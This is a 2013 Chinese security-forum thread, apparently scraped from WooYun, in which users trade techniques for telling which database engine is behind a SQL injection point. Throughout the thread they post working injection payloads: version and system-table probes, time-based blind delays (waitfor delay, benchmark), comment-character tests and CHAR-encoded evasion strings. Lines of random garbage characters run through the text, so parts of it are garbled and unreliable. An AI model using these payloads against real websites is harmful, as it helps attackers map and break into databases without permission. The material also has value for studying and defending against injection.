一个注射点如何最快速确认是什么类型数据库' ]; Z I4 M/ ]* ?
xsser (十根阳具有长短!!) | 2013-02-05 12:368 j" F/ `5 g3 K/ X9 W3 `7 w
假设这么一个注射点:( j- q' r+ G: J9 @/ N; W
show.html?id=22 H+ b" |2 d- a( w- M! g4 ^
mysql:id=2 and version()>0
& x, k1 Q7 y- e% W! J' ~! d+ qoracle:id=2 and '1'||'1'='11. }, m1 r+ g4 B9 J4 {0 i
其他的欢迎补充
7 q( D" ] b! N8 q4 S8 U V1 ~/ E# o, Z6 U1#5 W( s& a$ }8 Z v/ u* h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47$ X; K z! h( l `. @
Access:/ T" s' e* }5 ?0 _! G' D6 ]0 _7 u
aNd aSc(cHr(97))=973 v4 h2 `5 { ~/ F% M0 ?
and exists(select id from MSysAccessObjects)
& N, d1 p% N3 i5 C* Q3 W% Q; ASQL Server:
, u& q: X* C$ `and exists(select id from sysobjects)- K, R. R. n) B- C3 w+ H9 Z
and length(user)>0
4 z0 P% K/ ~- W# u6 r+ @MySQL:
; `- k+ s8 t. k% J, F# }0 B6 O- V dand length(user())>0
! c# f- A2 m1 h2 T# n) G2#
$ c, R: p( l3 s1 q) u1 R/ a* Ixsser (十根阳具有长短!!) | 2013-02-05 12:48
6 w! x: z* n+ c4 v/ ~3 d( R) j@upload 如果这些都不是呢…
3 N8 u/ {2 K! r- C* B3#
9 O5 V7 ~9 F' T, P; ^6 D* lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03" O8 o5 o% N% _6 e0 s
@xsser 不快速的,延时注入! v- w! q' f) s( ]( r
不知道这样写对不对
( J# Q3 G6 G3 U1 W0 Tmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
: B: ~- j- [( } d amysql:id=2 and select benchmark(1e8,current_date());
* w o8 P+ t) [* I4#
4 V; |+ I3 q+ |/ X2 I4 Q+ k. rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:101 n7 \8 i+ ~% O/ j" m' F- ?" W
最快的貌似是看报错信息
# u+ t% R/ A/ m" toracle error; ^/ A) i) a8 \/ F
mssql error
9 K/ T1 p2 \2 i8 H% P1 W- C% W$ Xmysql error p* |/ L" r& t M
5## t1 ]! M& G3 h9 R; U& D4 f
Nimda (你们都是坏银~) | 2013-02-05 13:14( |2 c: ^, s, R! u0 W4 a# ~
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
9 f6 P* [" B7 `9 g& | q6#
/ _& L% ^2 C3 ?. mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
$ @" e& s( V; Q“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
) f' M: f8 d; U% t( d: }“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* Y, R/ E, f$ l6 H# [“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
& A! t) e0 r+ K- ~7#
# L T. t2 i$ Z6 @4 g! c_Evil (HackEnd) | 2013-02-05 13:335 F; {0 t8 L2 g5 b$ B# b2 f9 @
PostgreSQL- C, _) l1 c+ R) Q
8#
+ z. O1 c# ^& xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( Q, {, f& }6 h% J2 m切换编码 and 1=1; N3 M+ W# H+ I; m5 F3 O6 U2 b
oracle:, ]1 k* d3 J, {5 D' p
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)3 K% R3 {0 W) _
mssql:
* q a) n: |' A6 g; D% [CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)9 x6 l- t% Z2 N* E7 ?
mysql:, }" B6 x0 e# D8 Z+ L
CHAR(97, 110, 100, 32, 49, 61, 49)5 Z" n8 ]4 s# I5 O
9#
2 D, U# ]' F. O! F$ W( j$ uxsser (十根阳具有长短!!) | 2013-02-05 14:31 S% q& M$ z8 |- ]4 L, r
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
8 D$ T& U9 m7 r7 Q# u10#* Y. l) Z1 L O
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
3 B. Z2 d. K9 V5 K' O& v@xsser 是奇葩数据库类型的么?1 o2 ` M& Q. x5 n% k2 a/ Y6 P
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
2 m. E: _+ j: n* B2 e* ~2 ]4 R1.是否可以使用特定的函数来判断,该数据库特有的6 d# r/ Z1 s8 ?$ A, I! r
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
+ \% u9 B' S) k8 G8 w' \& D+ J3.是否可以编码查询
0 ?; V! s" y9 b* {, [( J: B( O4.是否显可以利用错信息- ?9 T9 t ^1 V( Y, z9 N! Y
5.是否存在数据库某些特性辅助判断$ ~9 L: B' f- g
个人见解; W0 T4 Y( b+ r
11#
% }2 u, ~- k4 W3 [0 V6 w' p小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55& {1 l4 b( d4 s' z- U6 z
已收藏,mssql可以直接看到错误提示的吧~
2 X9 ]$ U$ ^1 N12#/ z6 _* u: F2 b6 X" B
Passer_by | 2013-02-05 15:09
; }# Z ^3 `- T6 q& o6 j曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。2 K7 t% e; d6 `: ^9 i
from:http://zone.wooyun.org/content/260 |